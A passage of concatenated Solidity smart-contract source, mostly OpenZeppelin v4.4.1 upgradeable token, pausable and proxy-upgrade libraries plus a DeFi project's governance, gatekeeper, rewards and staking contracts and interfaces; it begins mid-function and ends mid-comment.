require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155ReceiverUpgradeable(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155ReceiverUpgradeable.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155ReceiverUpgradeable.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } uint256[47] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; import "../../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity =0.8.9; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "../vaults/roles/Governable.sol"; import "../vaults/roles/Gatekeeperable.sol"; /// @dev Use this contract as the base for contracts that are going to be pauseable and upgradeable. /// It exposes the common functions used by all these contracts (like Pause, Unpause, setGatekeeper etc) and make sure the right permissions are set for all these methods. abstract contract BasePauseableUpgradeable is GovernableUpgradeable, Gatekeeperable, PausableUpgradeable, UUPSUpgradeable { // solhint-disable-next-line no-empty-blocks constructor() {} // solhint-disable-next-line func-name-mixedcase function __BasePauseableUpgradeable_init(address _governance, address _gatekeeper) internal onlyInitializing { __Governable_init(_governance); __Gatekeeperable_init_unchained(_gatekeeper); __Pausable_init_unchained(); __UUPSUpgradeable_init(); __BasePauseableUpgradeable_init_unchained(); } // solhint-disable-next-line func-name-mixedcase no-empty-blocks function __BasePauseableUpgradeable_init_unchained() internal onlyInitializing {} /// @notice Pause the contract. Can be called by either the governance or gatekeeper. function pause() external onlyGovernanceOrGatekeeper(governance) { _pause(); } // @notice Unpause the contract. Can only be called by the governance. function unpause() external onlyGovernance { _unpause(); } /// @notice Set the gatekeeper address of the contract function setGatekeeper(address _gatekeeper) external onlyGovernance { _updateGatekeeper(_gatekeeper); } // solhint-disable-next-line no-unused-vars no-empty-blocks function _authorizeUpgrade(address implementation) internal view override onlyGovernance {} } // SPDX-License-Identifier: MIT pragma solidity =0.8.9; interface IYOPRewards { /// @notice Returns the current emission rate (per epoch) for vault rewards and the current number of epoch (start from 1). function rate() external view returns (uint256 _rate, uint256 _epoch); /// @notice Returns the current ratio of community emissions for vault users function vaultsRewardsWeight() external view returns (uint256); /// @notice Returns the current ratio of community emissions for staking users function stakingRewardsWeight() external view returns (uint256); /// @notice Set the ratios of community emission for vaults and staking respectively. Governance only. Should emit an event. function setRewardsAllocationWeights(uint256 _weightForVaults, uint256 _weightForStaking) external; /// @notice Get the weight of a Vault function perVaultRewardsWeight(address vault) external view returns (uint256); /// @notice Set the weights for vaults. Governance only. Should emit events. function setPerVaultRewardsWeight(address[] calldata vaults, uint256[] calldata weights) external; /// @notice Calculate the rewards for the given user in the given vault. Vaults Only. /// This should be called by every Vault every time a user deposits or withdraws. function calculateVaultRewards(address _user) external; /// @notice Calculate the rewards for the given stake id in the staking contract. function calculateStakingRewards(uint256 _stakeId) external; /// @notice Allow a user to claim the accrued rewards from both vaults and staking, and transfer the YOP tokens to the given account. function claimAll(address _to) external; /// @notice Calculate the unclaimed rewards for the calling user function allUnclaimedRewards(address _user) external view returns ( uint256 totalRewards, uint256 vaultsRewards, uint256 stakingRewards ); } interface IYOPRewardsV2 { function claimRewardsForStakes(uint256[] calldata _stakeIds) external returns (uint256, uint256[] memory); function claimVaultRewardsForUsers(address[] calldata _users) external returns (uint256, uint256[] memory); } // SPDX-License-Identifier: MIT pragma solidity =0.8.9; interface IAccessControlManager { function hasAccess(address _user, address _vault) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity =0.8.9; interface IStaking { function totalWorkingSupply() external view returns (uint256); function workingBalanceOf(address _user) external view returns (uint256); } interface IStakingV2 { function stakeForUser( uint248 _amount, uint8 _lockPeriod, address _to ) external returns (uint256); function stakeAndBoostForUser( uint248 _amount, uint8 _lockPeriod, address _to, address[] calldata _vaultsToBoost ) external returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155ReceiverUpgradeable is IERC165Upgradeable { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; import "../IERC1155Upgradeable.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURIUpgradeable is IERC1155Upgradeable { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/UUPSUpgradeable.sol) pragma solidity ^0.8.0; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal onlyInitializing { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal onlyInitializing { } /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment address private immutable __self = address(this); /** * @dev Check that the execution is being performed through a delegatecall call and that the execution context is * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to * fail. */ modifier onlyProxy() { require(address(this) != __self, "Function must be called through delegatecall"); require(_getImplementation() == __self, "Function must be called through active proxy"); _; } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, new bytes(0), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity =0.8.9; pragma abicoder v2; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; interface IGovernable { function proposeGovernance(address _pendingGovernance) external; function acceptGovernance() external; } abstract contract GovernableInternal { event GovenanceUpdated(address _govenance); event GovenanceProposed(address _pendingGovenance); /// @dev This contract is used as part of the Vault contract and it is upgradeable. /// which means any changes to the state variables could corrupt the data. Do not modify these at all. /// @notice the address of the current governance address public governance; /// @notice the address of the pending governance address public pendingGovernance; /// @dev ensure msg.send is the governanace modifier onlyGovernance() { require(_getMsgSender() == governance, "governance only"); _; } /// @dev ensure msg.send is the pendingGovernance modifier onlyPendingGovernance() { require(_getMsgSender() == pendingGovernance, "pending governance only"); _; } /// @dev the deployer of the contract will be set as the initial governance // solhint-disable-next-line func-name-mixedcase function __Governable_init_unchained(address _governance) internal { require(_getMsgSender() != _governance, "invalid address"); _updateGovernance(_governance); } ///@notice propose a new governance of the vault. Only can be called by the existing governance. ///@param _pendingGovernance the address of the pending governance function proposeGovernance(address _pendingGovernance) external onlyGovernance { require(_pendingGovernance != address(0), "invalid address"); require(_pendingGovernance != governance, "already the governance"); pendingGovernance = _pendingGovernance; emit GovenanceProposed(_pendingGovernance); } ///@notice accept the proposal to be the governance of the vault. Only can be called by the pending governance. function acceptGovernance() external onlyPendingGovernance { _updateGovernance(pendingGovernance); } function _updateGovernance(address _pendingGovernance) internal { governance = _pendingGovernance; emit GovenanceUpdated(governance); } /// @dev provides an internal function to allow reduce the contract size function _onlyGovernance() internal view { require(_getMsgSender() == governance, "governance only"); } function _getMsgSender() internal view virtual returns (address); } /// @dev Add a `governance` and a `pendingGovernance` role to the contract, and implements a 2-phased nominatiom process to change the governance. /// Also provides a modifier to allow controlling access to functions of the contract. contract Governable is Context, GovernableInternal { constructor(address _governance) GovernableInternal() { __Governable_init_unchained(_governance); } function _getMsgSender() internal view override returns (address) { return _msgSender(); } } /// @dev ungradeable version of the {Governable} contract. Can be used as part of an upgradeable contract. abstract contract GovernableUpgradeable is ContextUpgradeable, GovernableInternal { // solhint-disable-next-line no-empty-blocks constructor() {} // solhint-disable-next-line func-name-mixedcase function __Governable_init(address _governance) internal { __Context_init(); __Governable_init_unchained(_governance); } // solhint-disable-next-line func-name-mixedcase function _getMsgSender() internal view override returns (address) { return _msgSender(); } } // SPDX-License-Identifier: MIT pragma solidity =0.8.9; pragma abicoder v2; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "../../interfaces/roles/IGatekeeperable.sol"; /// @dev Add the `Gatekeeper` role. /// Gatekeepers will help ensure the security of the vaults. They can set vault limits, pause deposits or withdraws. /// For vaults that defined restricted access, they will be able to control the access to these vaults as well. /// This contract also provides a `onlyGatekeeper` modifier to allow controlling access to functions of the contract. abstract contract Gatekeeperable is IGatekeeperable, ContextUpgradeable { event GatekeeperUpdated(address _guardian); /// @notice the address of the guardian for the vault /// @dev This contract is used as part of the Vault contract and it is upgradeable. /// which means any changes to the state variables could corrupt the data. Do not modify this at all. address public gatekeeper; /// @dev make sure msg.sender is the guardian or the governance modifier onlyGovernanceOrGatekeeper(address _governance) { _onlyGovernanceOrGatekeeper(_governance); _; } // solhint-disable-next-line no-empty-blocks constructor() {} /// @dev set the initial value for the gatekeeper. The deployer can not be the gatekeeper. /// @param _gatekeeper the default address of the guardian // solhint-disable-next-line func-name-mixedcase function __Gatekeeperable_init_unchained(address _gatekeeper) internal { require(_msgSender() != _gatekeeper, "invalid address"); _updateGatekeeper(_gatekeeper); } // solhint-disable-next-line func-name-mixedcase function __Gatekeeperable_init(address _gatekeeper) internal { __Context_init(); __Gatekeeperable_init_unchained(_gatekeeper); } ///@dev this can be used internally to update the gatekeep. If you want to expose it, create an external function in the implementation contract and call this. function _updateGatekeeper(address _gatekeeper) internal { require(_gatekeeper != address(0), "address is not valid"); require(_gatekeeper != gatekeeper, "already the gatekeeper"); gatekeeper = _gatekeeper; emit GatekeeperUpdated(_gatekeeper); } function _onlyGovernanceOrGatekeeper(address _governance) internal view { require((_msgSender() == _governance) || (gatekeeper != address(0) && gatekeeper == _msgSender()), "!authorised"); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Upgrade.sol) pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal onlyInitializing { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal onlyInitializing { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * 